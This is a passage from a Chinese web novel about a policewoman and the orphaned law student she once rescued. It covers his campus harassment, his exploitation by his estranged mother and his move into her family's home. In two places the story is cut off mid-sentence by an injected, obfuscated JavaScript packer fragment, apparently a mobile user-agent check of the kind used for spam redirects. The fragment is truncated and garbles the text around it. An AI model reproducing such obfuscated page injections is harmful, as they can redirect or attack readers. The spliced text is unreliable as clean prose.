没等赵淮晋开口,武厉枭赶紧接口道,“我和我哥毕业后去了不同的单位,但还是经常联系,我也会去干妈那里吃饭。我们单位刚考进来几个漂亮的小女孩,我那天跟干妈说给我哥介绍一下,干妈说两口子都是当警察的,家没人照顾。不过,干妈早就把我哥的婚房买好了,前几天装修买家具还让我陪着去的,我帮着选了带流苏的窗帘,梦幻紫色的。我还跟干妈说,让她在厨房安上自动洗碗机,我说将来我嫂子肯定不爱洗碗,你现在不安洗碗机,将来两口子洗碗够吵架了。干妈听我的,安了个一万多的洗碗机。姐妹们,你们谁有漂亮闺蜜啥的,别忘了给我哥介绍呀!” 王芳华笑道,“厉枭,你这妹妹当得,够大方的呀!” “那是!”武厉枭攀着赵淮晋的胳膊,笑得温暖而善良,“我就这一个哥,不对我哥好对谁好!我那天还跟干妈说,就盼着我哥给我生个侄子侄女,我好当姑姑呢!” 宴会终于在全班齐唱,“金色盾牌热血铸就……峥嵘岁月何惧风流……” 武厉枭在和同学们一一微笑着告别后,正准备走回家时,赵淮晋上前拉住了她,“枭枭,我送你回家。” “不用了哥,我自己走回去。” “你一个人回去,我怎么放心呢。枭枭乖啊,让我送你……给我一个补偿你的机会。” 武厉枭笑道,“哥你喝了多少酒啊,怎么说起酒话来了?” “枭枭宝贝,我……我当年太年轻,我……伤害了你……对不起……这么多年,我一直忘不了你……在我心里,你是最好的姑娘,最特别的存在……枭枭……” “我当然是最特别的,”武厉枭释然地笑道,“所以你对我特别好,好到让我一度……不过,真的谢谢你,我没有哥哥,你让我有了当妹妹的幸福。” “枭枭,我明天下班后能去找你吗?我有个特别的礼物,想送给你。” 武厉枭想了想,“哎呀,后天吧,我爷爷说新琢磨出一款低糖枣花酥,让我带给干妈。正好我去你家,把糕点送过去。” 赵淮晋从口袋里掏出一只锦盒,在武厉枭面前把它打开,“这条粉水晶项链,是我特意给你订制的。” 武厉枭笑着把锦盒盖子合上,“哥,那店员一看就骗了你这种直男。送妹妹的,不用粉水晶。这个,你收好,以后送我嫂子。你要想送我东西也行,那等我过生日的时候,给我买双运动鞋吧。我这一天总抓贼,鞋磨得特别快。” 武厉枭看了看手机,“哎呀,给你点的滴滴打车到了!”她把赵淮晋送上车,“注意安全啊,回家给我发微信报平安。” 武厉枭把赵淮晋送走后,一个人沉思了片刻,叹了口气,勉强挤出个微笑,哼着歌往前走去。 今晚,毕竟还有份月色可以独享,也还不错。 武厉枭嘴里唱着“少年壮志不言愁”,行至拐角处,一个小擒拿手将身后之人擒住,只听得一声哀嚎,“姐姐……” 是苏晏清?武厉枭忙松开他,“怎么是你?你没事跟着我做什么?” “姐姐,我怕你一个女孩子……走夜路不安全……”颀长清俊的少年捂着胳膊疼得脸都扭曲了,“我想……送你回家……” 武厉枭忙帮他检查胳膊,哭笑不得道,“我一个警察,怎么会不安全?这么晚了你快回学校吧,等一下宿舍锁门了就糟了。” “姐姐……我今天……不是跟王小姐谈恋爱,是做兼职……” “兼职?” “对,她是想雇一个男大学生……冒充男朋友,吃一顿饭,给一千五百块钱,我就……我没想到……” “没想到什么……没想到自己会那么倒霉,不幸遇到我?” “没有没有……” “你知道王芳华是干什么的吗?她现在投资短剧,剧组里的那些霸道总裁小娇夫们,她都……同学们都知道,那些男伴都是她明码标价过的!今天幸好只是吃饭,嘴头子上占占便宜,如果她要求肢体接触加钱,你同意吗?” “我……不,姐姐……我不会那么贱……我也从来没去过什么温泉……姐姐,你别生气,我错了……我想跟你说,我明天就去武爷爷的店里上班,我会好好跟武爷爷学手艺,学做人……” 武厉枭揉揉额头,叹气道,“你知不知道这样有多危险?” “王小姐说,她的同学们大多数都是当警察的,我想……应该没事……” “她说你就信,她在网上还能吹她当总统呢!”武厉枭拍了拍苏晏清的肩膀,“早点回去,明天就去我爷爷那里,学好了手艺,给姐姐尝尝。” 苏晏清深深鞠了一躬,“姐姐,谢谢你……” 7. 法学院之光 苏晏清回到宿舍里已经快十点了。他一进屋子,李光明和刘国君就举着一大捧鲜花扑过来,“清哥,这回的花里有好几只栀子,可以给我们做栀子饼了吧?” “不行。花店的花都添加了人工香精和花粉,做不了鲜花饼。老规矩,你们拿来泡脚吧。” 李光明露着一对儿土拨鼠牙,笑道:“那天我一回家,我妈都说我:你那脚平时跟毒气弹似的,现在怎么一点都不臭了。我跟她说:那你得感谢我室友啊!他那魅力,过几天我都能拿鲜花泡澡了!” 刘国君拿出护指和护腕来,“清哥,这是今天中文学院的女生送来的,怎么处理?” “还是老规矩,你帮我处理。” “哥,我那都有两副乔丹的护指护腕了。” 李光明慌忙摇摇手,“别看我,我那有三副了。” 苏晏清摇头叹道,“那你们送给一起打篮球的同学吧。” 刘国君道,“我也这么考虑过,但是……万一哪天我们打篮球的时候,让那些送你护指护腕的女生看见了,不得挠我们吗?” “放心,她们发现不了。” 李光明笑道,“那些女生忙着满校园偶遇清哥呢,顾不上去篮球场看咱们这些糙老爷们儿!” 苏晏清无奈道,“下回她们再送东西,你们记得帮我问一下她们是哪个专业哪个班的,叫什么名字,我好退回去。别的也就罢了,如果再送购物卡的话,记得一定帮我拒绝。” “真不是我们不帮你。”刘光明苦着脸道,“她们把购物卡放进千纸鹤和幸运星罐子里,我们也没发现。” 苏晏清拿出抽屉里的几张五百元购物卡,“那我明天去交给辅导员,请他帮忙处理吧。” 十一点左右,男孩们洗漱好躺在床上开卧谈会时,李光明笑道:“清哥,这么多女生天天往宿舍送东西,你一个都不动心?” “我现在不想考虑这些事。” “其实啊,我觉得中文专业的那几个女生挺漂亮的,我记得中文学院的院花送你八音盒,里面还有一首诗。” 苏晏清记得那首诗,字迹是非常漂亮隽秀,言辞也极尽华美堂皇: 威猛、壮烈、严肃、冷峻, 目光如电,巍巍如山, 似积蓄,似蛰伏,似蕴藉,似宣战。 纤细精悍的肌肉,对视一眼,便怦然心动。 轰然的鼓乐撞击着心房, 美好的身躯,是看也看不够的景致。 俊美,高贵,疏离,强劲,英姿勃发,狂野,煊赫! 光影塑造出来的极致的雅, 血与火锻铸的凛凛威仪, 仿佛站在红日的中心。 从未见过如此华美的少年! 恍若在波光里诞生,在晨雾里诞生,在月影中诞生! 肆意流泻的美,无处释怀的美, 阳刚与柔美的极致交融, 在铮铮号角中蓄势待发。 少年,从莲花里诞生的,炫彩的少年,飞天的少年…… 苏晏清摇头叹道,“她要是知道我是孤儿就不会再喜欢我的,青春期的女生,容易被荷尔蒙左右。” “年轻人哪个不是被荷尔蒙左右呢?看到你这么帅的不喜欢,难道喜欢我这么胖的?你说呢?君儿?” 刘国君道:“君儿是你叫的呀?忘了今天我帮你买饭的事了?叫义父!” “我今天还给你洗袜子了呢,你也得管我叫义父!” “光明义子啊,你觉得晏清是那么肤浅的人吗?还能为漂亮不漂亮就喜欢谁?再说漂亮不漂亮的,谁能漂亮过我媳妇,你义母啊……” “拉倒吧,我认识的所有人中,长得最好看的是清哥,你忘了清哥的外号吗?法学院之光……” 苏晏清望着桌上那堆琳琅满目的礼物,只觉头疼不已,但这比起刚上大学的那次难堪,好太多了。 那个时候他刚入校第二天,还没开始军训,除了两名室友外,根本不认识其他人。那天晚上他刚从图书馆回来,就听到一阵急促的敲门声,“开门,学生会检查!” 是女生的声音! 苏晏清心下一惊,李光明和刘国君面面相觑,一起壮着胆子开了门。只见几个女生走了进来,扬着下巴颐指气使道,“你们是新生吧?” “是……师姐好……” “我们是校学生会的,要检查一下你们宿舍有没有违禁品。” 几个女生把阳台、卫生间、每个人的课桌和抽屉都仔仔细细翻了一通,活像抄检大观园一般,没有找到大功率电器,又接着道,“最近大学城附近织补房的阿姨说:有男生把臭裤子拿到她店里缝补。校学生会接到投诉,让我们来调查。”她们指着李光明道,“是不是你? 李光明摇头,“不是我。” 又指着刘国君,“是不是你?” 刘国君把头摇得像拨浪鼓,“肯定不是。” 她们又指着苏晏清,“是不是你!” 苏晏清吓得脸色一白,老老实实道,“我是新生,刚入学,从来没去过什么织补店。” 女生们示意他打开柜子,他无奈,只好照做。女生们翻了一下里面的衣物,没发现什么异常,态度却依旧严厉,“以后你们男生多注意啊,裤子要洗干净再送去缝补。” 三人唯唯诺诺,“是是是……师姐们慢走……” 女生们走后,苏晏清赶紧去别的宿舍问有没有女生查寝,被群嘲了一番: “女生大晚上查男寝,疯了吧……” “你倒想有女生来查男寝,她们白天都嫌男寝脏臭……” 还有的打量了苏晏清一番,“你是法学院那个过了七百分的大一新生吧?妈呀,真要是有女色狼晚上钻到男寝打猎,你不就是那个猎物吗?哈哈哈……” 苏晏清猛地被点醒,第二天慌忙到电子阅览室打开了表白墙,发现里面居然那么多自己的照片!还有他的床、被褥、柜子、书桌、以及柜子里的衣服……下面还有一大堆的评论:“感谢集美的分享…… 集美配享太庙…… 感恩大神…… 感恩大神冒死把我们弄来法学院之光的个人私密照…… 妈呀,这大一小哥哥,堪称法学院颜值扛把子,学习还好,难怪人家是“法学院之光……” “这人啊,长得好看就是有优势,我记得他入学时法学院那帮大二接新生的女生都疯了,抢着帮他拿行李,跟奶妈似的……” “就是,他上次上公共课爬楼梯,看电梯的那个老太太,平时我们坐电梯那老太太围追堵截凶神恶煞的。看到法学院之光爬楼梯,就说:那孩子小脸煞白煞白的,是不是身体不舒服,快坐电梯上去,等会儿别低血糖了……妈的!冷白皮就是好,老少通吃的,这年头,颜值就特么是流量……” “他的室友得多有福呀!这腰,这么长的腿,一个侧身都美得惊心动魄的!我要是他室友,得天天让他穿黑丝儿,好好把玩他的腿……” “这张笑的……不行了不行了……太妩媚了吧!一个男生,长得这么妖道,关键……笑起来还这么骚……” 感谢大神下次能拍到法学院之光的高清私密照,万岁万万岁……” “法学院之光,我生命中最美的朱砂痣……” 更离谱的是还有一张苏晏清在操场上用直饮水机喝水的偷拍照片也被发到了表白墙上,清凌凌的水流过如玫瑰花瓣般的唇,下面的评论简直是不堪入目:“看到这张法学院之光的照片,我湿了……看到这颜值,我激动得月经量大增,血块排得噗嗤噗嗤的……我坐地排卵……看到这五官,这喉结,这若隐若现的锁骨,我立马怀了个三胞胎……晏清的腰,夺命的刀,晏清的臀,勾人的魂……法学院之光,妥妥的美艳性感的人间尤物……” 后来,苏晏清就成了学校表白墙上的最熟悉的面孔,连他上急救课跪在地上给人做心肺复苏的背面照片也被做成了动图传了上去,下面一对放肆意淫的评论:“这屁股……太性感啦……” “快来围观法学院之光的迷人翘臀……” “妈的!真想扒光他的裤衩,扔被窝里狠狠蹂躏……” “你说得做满多少件好事,才能睡到法学院之光……” 李光明翻来自己的抖音账号,笑道,“清哥你知道吗?不知道谁打听到了我和法学院之光在一个宿舍,我私信都快炸了,说让我开直播偷拍你洗澡,给我刷跑车和嘉年华……” 刘国君也附和:“对对对,晏清爱子,你义母宿舍的女生嗷嗷粉你,你的照片在闲鱼上已经炒到了一百块钱一张了……妈呀,幸亏我和光明爱子心眼儿好,换个歪心眼子的早实现财富自由啦……” 苏晏清沉静地一笑,“谢谢你们啦!” 李光明大咧咧地搂住他的脖子,“要我说清哥你就是太老实了,你看咱学校各学院的院草,长得都没你好看,哪个像你似的这么苦钱!体育学院那几个肌肉块子,天天在抖音里直播秀胸肌腹肌。艺术学院的就跳扫腿舞,要不就是披个薄纱扭腰甩屁股的跳什么国风舞。播音主持学院的更是,甩甩头发比个心,夹个嗓子叫几声姐姐宝贝啥的,一场pk下来流水就好几千……体育学院那个跳拉丁舞的全国冠军,你们有印象不?前几天接广子了,是个粉底液的广子!他把那粉底液从喉结往胸肌和腹肌上抹,哎呦我去!就那一下,一分钟的广告,十万!音乐学院的院草更夸张,天天穿个行政夹克搔首弄姿地唱古早情歌,一晚上直播,满屏的表白,人送绰号:老太太退休金杀手……” 刘国君不屑道,“你别把晏清跟那群人比好不好?他们骚了吧唧的!晏清挣得没他们多,但挣得比他们干净!要不怎么是法学院之光呢!对了晏清,你作业做没做完?” “做完了。” “嘿嘿,借我参考一下呗?” 苏晏清把作业本拿给他,李光明笑道,“君儿呀,你能不能行!上次你《民法典》作业抄得跟清哥一样,被教授好顿骂,你忘了?” “那能赖我吗?”刘国君振振有辞道,“你没听那么句话吗?法学生最难杀,一颗子弹从背面射来,都穿不透一本《刑法分论》。再说,案例分析作业必须跟着晏清的观点走,他可是北斗星般的存在!” 刘国君为啥这么说?因为上次民法课上教授出了一个案例:一个女人头一天去民政局离婚,第二天又和前夫的公公去民政局结婚。民政局不给办理。女人将民政局告上法庭,会赢吗?全班除了苏晏清以外,交上来的答案都是会赢。只有苏晏清写的是:不会赢。第一,女人此举,虽不犯法,但违背了公序良俗。第二,如果查一下当事人家庭中的财产分割情况,很可能是为了转让房产逃税,用了假离婚,假结婚,再离婚,再复婚的套路。所以民政局不予以登记是对的。 民法课教授说出了所有老师的经典语录:“你们是我带过的最差的一届!一帮985一本生,高考人均过六百,还能写出这样的答案,都不如那些二本生,问一下ai也不至于呀!全班就苏晏清一个人答对了,你们整天叫人家法学院之光,没啥事向光靠拢一下呀!就你们这样的毕业咋接案子呀?当事人闯个红灯都能让你们打成个无期。尤其你俩,李光明,刘国君,跟苏晏清一个宿舍的,多向人家学学,你俩那作业最离谱,还能写成找民政局索赔五万块钱!想钱想疯了!跟你们一起住苏晏清还能不受影响,以后你们别叫人家法学院之光了,叫人家法学院神话吧……” 刘国君笑道,“光明爱子呀,你就说咱法学院,谁不是怕学数学才选的文科呀!就晏清牛逼,为了那四个学分敢选高数,结果还考过去了,成绩比数字科学学院的那帮人还好……” 苏晏清来到荣宝斋武家老号后,这间满是糖油糕饼香的老店突然热闹了起来,变成了网红打卡地。 很多从前对传统糕点不屑一顾的女孩也跑过来买一斤枣花酥或桂花糕,然后拉着苏晏清合影留念,接着发到抖音上去,“谁能拒绝一个糖油香的高颜值小哥哥?” “荣宝斋武家老号,一个巨出片的网红打卡圣地……” “家人们,谁懂啊!颜值平平传统的糕点,颜值突出的店员小哥哥,快来荣宝斋武家老号……” 也有人问苏晏清,“小哥哥,什么时候直播带货呀?” 苏晏清腼腆一笑,“这得看我爷爷的意思。”然后就低头不说话了。 后来,为了避免不必要的麻烦,他甚至会戴上口罩。更多的时候,是关注于学习糕点的制作方法,并用本子上记录改良心得。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“啊?”武厉枭焦急万分地看着爷爷,武月直也愣住了,“这孩子……守着点心铺,咋还把自己饿成这样!枭枭,咱老武家没亏待过学徒,先人饥荒年间都开仓赈灾的……” 武厉枭扶住爷爷,“您别自责,不是您的责任……” 护士从病房里走了出来,“病人醒了,你们可以进去了。但是……别刺激他……他一直在哭……” 武厉枭走了进去,看到苏晏清躺在病床上,像一只中了毒箭倒在猎人脚下的野鹤,似乎随时要破碎。他一边输着液,一边口中喃喃不清地说:“妈妈……我要妈妈……我要妈妈……” 武厉枭握住苏晏清冰冷的手,“晏清……你怎么会……这么虚弱……你这几天都没怎么吃东西吗……” “姐姐……我的钱……给了妈妈……” “妈妈?你找到了你妈妈?” “有的顾客……来店里打卡……把我的照片……发到了抖音上……妈妈认出了我……那天爷爷不在……她就来到店里了……” “然后呢?她对你说了什么?做了什么?” “她说,她现在过得不好……她说她想考驾照,没有钱,让我给她三千块钱……我就给了她……” “后来呢?” “后来她又找了我几次……都是趁爷爷出去的时候……一次是说信用卡到期了,要还卡账……一次是说要还房贷……还有说弟弟要读书……做生意赔钱了……” “所以你给了她钱?以至于自己都没钱吃饭?” “姐姐,我欠她的……如果不是因为我的出生,她会去读大学,姥姥姥爷也会一直在大学教书……她跟我说,警察把她解救回去后,家里房子也卖了,没有了积蓄,姥姥姥爷又没有了工作,多年积劳成疾,双双病倒了,不久就去世了……她为了养活自己,没去读书,而是进了工厂打工……后来遇到了一个男人,就结了婚……如今离婚,一个人抚养弟弟……她说:她的前途就是我们一家毁的……” 武月直气愤不已,“怎么会有这样的妈?再怎么样,怎么能把气撒在亲骨肉身上!” “爷爷……我知道……我爸爸,爷爷奶奶做的事……不可原谅……我也知道,她不爱我,对我没有感情……她只想要钱……姐姐,我会给她钱……只要她要,我就会给。我只想能看到她,能给她打电话,和她聊天……可是,我打电话她不接,发微信也不回……呜呜呜……” 武月直道,“枭枭,这事还是怪爷爷,没保护好这孩子。” 武厉枭叹道,“晏清,听姐姐说,你不能再给她钱了。” “如果不给钱,她是不会来看我的……除夕那天,我一个人在饺子馆里打工……我给她打电话拜年,她也不理我……”我……我跟她说……想请她来饺子馆吃饭……跟她吃我包的饺子……她……她整个年……都不理我,不回复……” “听姐姐的话,删除她的联系方式,让她找不到你,要不,你会被她拖垮的。你忘了姐姐的话吗?害她的不是你,你没罪。” “我那个时候虽然小,但什么都记得,我记得爸爸用板子抽她的腿,记得奶奶用扫帚打她……记得她天不亮就起床,刷锅做饭,还动不动就挨打挨骂……” 武厉枭悚然一惊,“你说……你什么都记得……” “记得……”苏晏清的眼里水色漫漫,握住武厉枭的手痛哭道,“枭枭姐姐,我欠你一个道谢……如果不是你……我就死在地缝里了……” 武厉枭的眼泪“唰”地一下子冲了下来,抱住苏晏清哭道,“你……你早认出了我……你这孩子……为啥不跟我说……” “我从见到你第一眼,就知道你是我姐姐……不是武警官……” “你为啥不和我相认……” “我为了钱,做那样的事……我没脸见人……我对不起你的救命之恩……我对不起你……我把自己……活成了一滩烂泥……” “别这样说,是姐姐对不起你……”武厉枭放声大哭,“如果不是因为那些报道,你的爷爷奶奶和爸爸也不会被抓……你也不会沦为孤儿……” “他们有罪,应该受到惩罚……姐姐……你救了我那么多次……可是……我却活成这样一滩烂泥……” “不,你是最优秀的孩子,最可爱的小朋友……” 8. 回归武家 苏晏清出院之前,武厉枭特意回趟家,跟父母商量他养病的事,“爸爸,医生说晏清的身体很差,神经衰弱很严重,要让他有安静的环境入睡。但是那些男孩子宿舍,实在太乱了。卫生条件不好也就罢了,大半夜起床点外卖打游戏,第二天早八又个个犯困。这让人怎么住嘛!” 武鹤翔想了想,“这样吧,晏清不是请了一个月的病假吗?他养病这段时间,住到康养中心。那里条件好,环境也好。爸爸去过那里,哎呀,依山傍水,还有一大片草场可以骑马呢!一人一个房间,食宿有专人打理,还有医生护士给检查身体。怎么样?费用咱们家来出。” “不行!”武月直和武厉枭异口同声道。 武厉枭道,“爸爸,康养中心在郊外,那么远,人生地不熟的,晏清一个小孩子怎么住啊?他在那里谁都不认识。” 武鹤翔道,“枭枭,康养中心有专业的医生护士,去了能得到更好的照顾。” 武月直生气道,“康养中心怎么能和家里比?那些医生护士就算能照顾,能给家人的关心吗?那里不过就是条件好些的福利院罢了。晏清受了那么多罪,现在病着,怎么能送去那种地方!这孩子我来带!我把他带到家里去,我那里有老黄媳妇可以管做饭。” 武鹤翔赶紧陪笑道,“爸,我不是这个意思。我是说康养中心条件好,有人照顾。我工作那么忙,玉梅也忙,枭枭查案更忙……” 王玉梅道,“爸,您也要开店呀……” “枭枭就是我边开店边带大的,从奶娃娃带到长大成人。如今一个十八岁的大小伙子,我怎么不能带了?” 武厉枭道,“我觉得爷爷说得很有道理。晏清住到老宅里,有黄奶奶给他做饭,我下班了也可以带他。” 王玉梅道,“可你一个大姑娘家,家里住着个大男孩……” “哎呦妈,这都什么年代了,还讲谁说不说闲话的干嘛?晏清小时候我还给他洗过澡呢!他小时候家里一打架,不都是我抱过来,跟我一起睡的?” “可是……你真的打算带他吗?你工作那么忙?” “我们队的那些人都管我叫义母,我给那么多人当妈,不差多他一个小孩子。而且……这孩子现在……也就跟我熟悉一些。” 武月直想了想,点头道,“枭枭说得有道理,明天晏清出院后就去我那里住吧。他们年轻人,有共同语言。咱们当大人当老人的,就算能照顾他,他跟咱们也没话说。有枭枭在,他能自在些。这孩子呀,身子不好还在其次,就是心病……太重了……” 武鹤翔摇头责备道,“枭枭,你也是当警察的人,为什么做事这么理想化呢?你救了他,我们家出钱养了他,已经仁至义尽了。如今,你又要把个十九岁的大男孩弄到家里来,你就不怕……人心隔肚皮,你办过那么多案子,应该了解人性啊!” 武厉枭的眼泪“唰”一下落了下来,“十四年前,你们大人跟我说人性……说不能收养晏清,说万一他长大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new 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就这样,出院后的苏晏清被安排住进了武家老宅。那是一间南面朝阳的带阳台卧室,光线十分充足。膏白的墙壁闪着柔和的洁光,一到下午就呈现出微微的雾蓝色。粉红色的丝绒梦幻沙发如春日绽放的桃林,薰衣草色的窗帘上垂坠着各色玻璃流苏,如风铃般清凌凌地摇曳。 2米*2.2米的软包铁艺床,两边都安装了护栏。乳白色的实木雕花书桌,上面放着华为皓月银电脑和苹果16手机。床边是碳钢板的书架衣橱组合柜。角落处还有一只将近两米高的柜式空调。 “这个护栏是可以打下来的。”武厉枭示范了一下护栏的使用,“晚上记得把护栏抬上去,免得睡觉的时候掉在地上。”她打开衣橱,把里面的小汽车图案的丝棉被、小熊猫图案的羊绒毯和海底世界图案鹅绒被一一铺在苏晏清的床上。桑蚕丝苏绣蟠龙枕头里是加了决明子、陈皮和菊花的,摸上去有轻微的沙沙声。她又拿出一只月光小熊图案的竹纤维睡袋,“晚上睡在睡袋里,哪怕踢被子也不会着凉。柜子里是爷爷给你准备的零食和糕点,想吃什么叫黄奶奶做给你吃。我给你的微信钱包里充了五千块钱,你要是想吃外卖的话可以随时点。阳台上还有一个单独的洗衣机,你要是有些衣服不想拿给黄奶奶帮你洗,就自己用洗衣机洗。还有啊,天热天冷的时候,一定记得开空调,不要光想着省电。” 这是苏晏清长这么大第一次拥有自己的房间,多年来,他早已习惯把自己铸成盾牌,直面风雪。这一刻,却觉得眼里一阵阵酸涩,“嗯,谢谢姐姐,只是……我住到这里来……给你添麻烦了……” “麻烦什么呀?你小时候经常在我外婆家吃饭睡觉的。你会走后,就经常自己跑过来找我。有时候晚上做噩梦了就光着两只小脚丫跑来敲门,我就把你抱进来跟我一起睡。” 武厉枭的记忆又回到了当年的望口村…… “老太太,苏家又打架了,您快去做主吧!”家里做饭的王婶婶心急火燎道,“苏家那两个烂鬼就怕您几分。” 外婆带着武厉枭往苏家一站,拉过鼻青脸肿的疯媳妇,用自己带来的毛毯给她裹在身上,指着苏家老酒鬼的鼻子开骂,“媳妇给你家生了个这么好的孙子,你有人味儿吗?”又警告苏家赌鬼,“我已经知会了小卖店,不许你再去赌钱,你去了,必把你轰走。” 苏家赌鬼偃旗息鼓道,“老太君,您……您这不是要我的命吗?” “你这么打媳妇,不是要她的命吗?要不是看她疯疯癫癫没娘家可回,我必会报警抓你!”又吩咐武厉枭,“把晏清抱走。” 苏家老婆儿刚想张嘴,被外婆威严地瞪了回去,“你当老的没有老的样,就会欺负媳妇,对你那不成器的儿子,倒是要什么给什么,孝顺得很呀!” 苏家老婆儿耷拉着脑袋不敢吱声,脖子上像被人挂了大大的游街认罪牌。 武厉枭把衣服都哭湿了的苏晏清抱回家中,给他洗干净脸和手,换上自己小时候的衣服,“宝宝不哭,姐姐带你去看野鸭。” 望口村有一条清浅的小溪,溪水如溢满浩瀚的星辰,野鸭、野鹅和那些家禽们在村里四处闲逛,尤其喜欢去溪边里捉虫子和小鱼吃。一有人来追,它们受惊逃跑兜不住蛋,就把新鲜温热的蛋一连串地下在那片茂密的草丛中。 两岁的苏晏清粉雕玉琢的,像个雪娃娃成精了似的,他捡起一枚红皮鸭蛋,“姐姐,蛋蛋……” “乖,姐姐今晚给你做糖蛋蛋。” 武厉枭装了整整一背篓的蛋,抱着苏晏清回到吴家大宅,把蛋液打散了,加上牛奶、枸杞、葡萄干隔水上锅蒸,出锅时再撒一把红糖。 “宝宝,快来吃……” 苏晏清则对苏家的冰箱特别感兴趣,每次姐姐打开冰箱门,他必会摸一下,“姐姐,我想摸凉凉。” “等下王婶婶给咱们做好吃的,你来帮她拿东西好不好?” “好,”苏晏清拍着小肉手,笑得眼睛眯成一道亮晶晶的弯月,“今晚炒肉肉吗?煮饺饺吗……” “炒肉肉吃,也煮饺饺吃……”武厉枭突然听到了外面传来了一阵清脆悦耳的“叮叮”声,忙拿过小碗拉起他的手,“走,宝宝,姐姐给你买叮叮糖……” 当年吃叮叮糖的小晏清变成了眼前的大晏清,不变的是眼睛那澄澈的童话,“其实,我可以做饭的,做给姐姐吃……” “你现在的任务是养好身体,怎么能让你做饭呢?”武厉枭笑道,“你房间的卫生间里备好了洗漱用品、毛巾、浴帽和浴巾,那里还有按摩浴缸,睡前记得喝热牛奶,用爷爷做的生姜艾叶粉泡泡澡,升阳益气。还有,”武厉枭从柜子里拿出来一大袋子纸巾和湿巾,“这种云柔乳霜纸巾用着干净,以后你就用这个品牌,用光了跟姐姐说,别自己买那些杂牌子的。” “其实……姐姐……你和爷爷、叔叔阿姨……都是我的恩人,我爷爷奶奶和爸爸坐牢,包括我……都不是你造成的……我很感激你把我接到家来,我希望……我是来自食其力的,来感恩的,而不是成为你的负担……” 武厉枭握住了苏晏清的手,“你相信缘分吗?” “姐姐跟我说过,世界上的一切关系都是缘分。就像我妈妈,她跟我的缘分尽了……” “你四岁那年,为什么是我救了你?因为我们之间有一种奇妙的缘分,命中注定你是我弟弟,是我们武家的人。只是这一天来的,太晚了。” “不晚,姐姐。从我踏进荣宝斋的那一刻,我就知道了,每年来给我送的糕饼,是荣宝斋的。每次你来送玩具和练习册的姐姐,我都多在院子里站一会儿……我知道,你想看我,我也想看你……” “可是后来,我去读高中,功课太忙了,外地读了大学,寒暑假也要训练……否则不会一开始没认出你……” “你给我寄的那些包裹,我都收到了,那些衣服和书,那些牛奶……我是吃荣宝斋的糕点长大的……是和姐姐一起长大的……” “福利院有没有人欺负你?” “没有,我是全院收到礼物最多的小孩,我有最漂亮的衣服和鞋子。他们都知道,我有个好厉害的姐姐,不敢欺负我……” 苏晏清没有告诉她的是,福利院其实是个等级森严的小社会。因为孩子众多,财务支出主要依赖于政府拨款,私人捐款不多,所以福利院的待遇也是马马虎虎。因为工作人员不多,所以一些不太繁重的工作就交给大一些的孩子去做:比如给小孩子们发牛奶、点心、水果,给他们倒热水、帮他们整理床铺和衣服……有的大孩子就借机会卡点儿油,多吃多占一些,得一些小孩子们的“孝敬”。那些小孩子们,为了得到大孩子的庇护,也心甘情愿地把牛奶和点心分给大孩子一些。这样在大人看来虽然是一大一小关系亲密情同手足的表现,其实早就形成了一个小小的江湖关系。 渐渐地,福利院里的很多小孩子都有了一个固定的“哥哥”或“姐姐”,得到大孩子庇护的小孩子没人敢欺负,因为哥哥姐姐会帮他出头,甚至可以帮他欺负别的小孩子,尤其是那些没有哥哥姐姐庇护的小孩子。他们的牛奶点心被哥哥姐姐拿走了,但是他们可以依仗哥哥姐姐的势力去抢别的小孩子的,能得到比原本更多的牛奶点心。而那些没有哥哥姐姐庇护的孩子,就是天生被欺负的对象。如果这样的孩子再没有谁来看他,没有谁来给他送东西,那日子将过得暗无天日。 苏晏清来的时候年龄小,虽然福利院的老师知道他的身世,但是因为武家每年都会送钱送东西给他,老师会格外看重他一些,也没人敢欺负他。这家福利院在全省都是非常有名的金牌福利院,所有来这里参观视察的领导都说:“别看孩子们衣着朴素,但个个脸上都挂着无忧无虑的笑容。”没错,这家福利院主张“快乐教育”。所谓“快乐”,就是不悲伤,不痛苦,要笑容满面,要积极阳光。为了锻炼孩子快乐的能力,这家福利院会特意让孩子们看《妈妈再爱我一次》、《天堂来信》等表达亲情的电影,在整个观影的过程中不许孩子们哭。哭的孩子会受到批评惩罚,不哭的孩子会获得小红花。平时孩子有了矛盾冲突时,老师无论谁对谁错,都会批评那个哭的孩子。理由是:“哭是软弱的,你如果哭,只会招来别人的反感。你们想被人领养,就不许哭,哭的话不会有人领养,人家会嫌你烦,不愿意当你的爸爸妈妈。你们已经没有爸爸妈妈了,将来走向社会是没人帮你,没人管你的。所以哭是没用的,哭只能代表你无能……” 每当有人来福利院领养孩子时,小朋友们都会把自己打扮得干干净净,以最听话乖巧的形象出现在那些大人面前,嘴巴甜甜地叫叔叔阿姨,展示会背诵的古诗,会唱的歌曲,会做的家务劳动……十八般武艺恨不得使个遍。经常有人注意到苏晏清,看他容貌出众性子沉静,就会过来拉他的手,摸他的脸,“这孩子漂亮,小脸蛋水蜜桃似的!小朋友,你会表演什么节目呢?” 苏晏清奶声奶气地回答,“叔叔阿姨好,我会唱《英雄赞歌》。” “哎呦,这么小的孩子,还会唱老歌呢!来,表演一下好不好?” 苏晏清就站得笔直,认认真真地唱起来,“烽烟滚滚唱英雄,四面青山侧耳听侧耳机……”他唱得如此投入,如此动情,因为这首歌是武厉枭经常抱着他唱的,枭枭姐姐说:她要当英雄,当一辈子英雄。那个义无反顾跳进地缝里救他的姐姐,就是他心中最伟大的英雄。 一曲终了,来访的大人问他是否愿意跟他们回家。这个时候老师们就会脸色一变,把那个大人拉到一边说几句,这个大人就用一种无比震惊的眼光打量着这个看着白白嫩嫩老老实实的乖娃娃,转眼去挑拣别的孩子,但无论看谁,眼里总是露着一丝丝不如意不可心,最后一个孩子都没领养成,黯然离去。 小孩子们为没被选中而遗憾地一哄而散,大孩子们纷纷推搡着苏晏清指责道:“下回再有叔叔阿姨来选孩子,你就去上厕所,或者躲起来,不要参加……” “就是,回回都有大人先看你,看完你都不选我们了……” “你是被拐卖的女人生的孩子,一家子都是罪犯,你这样的人,长得再好看也没人愿意搭理你……” “我有姐姐!”苏晏清反驳道,“我姐姐经常来看我的……” 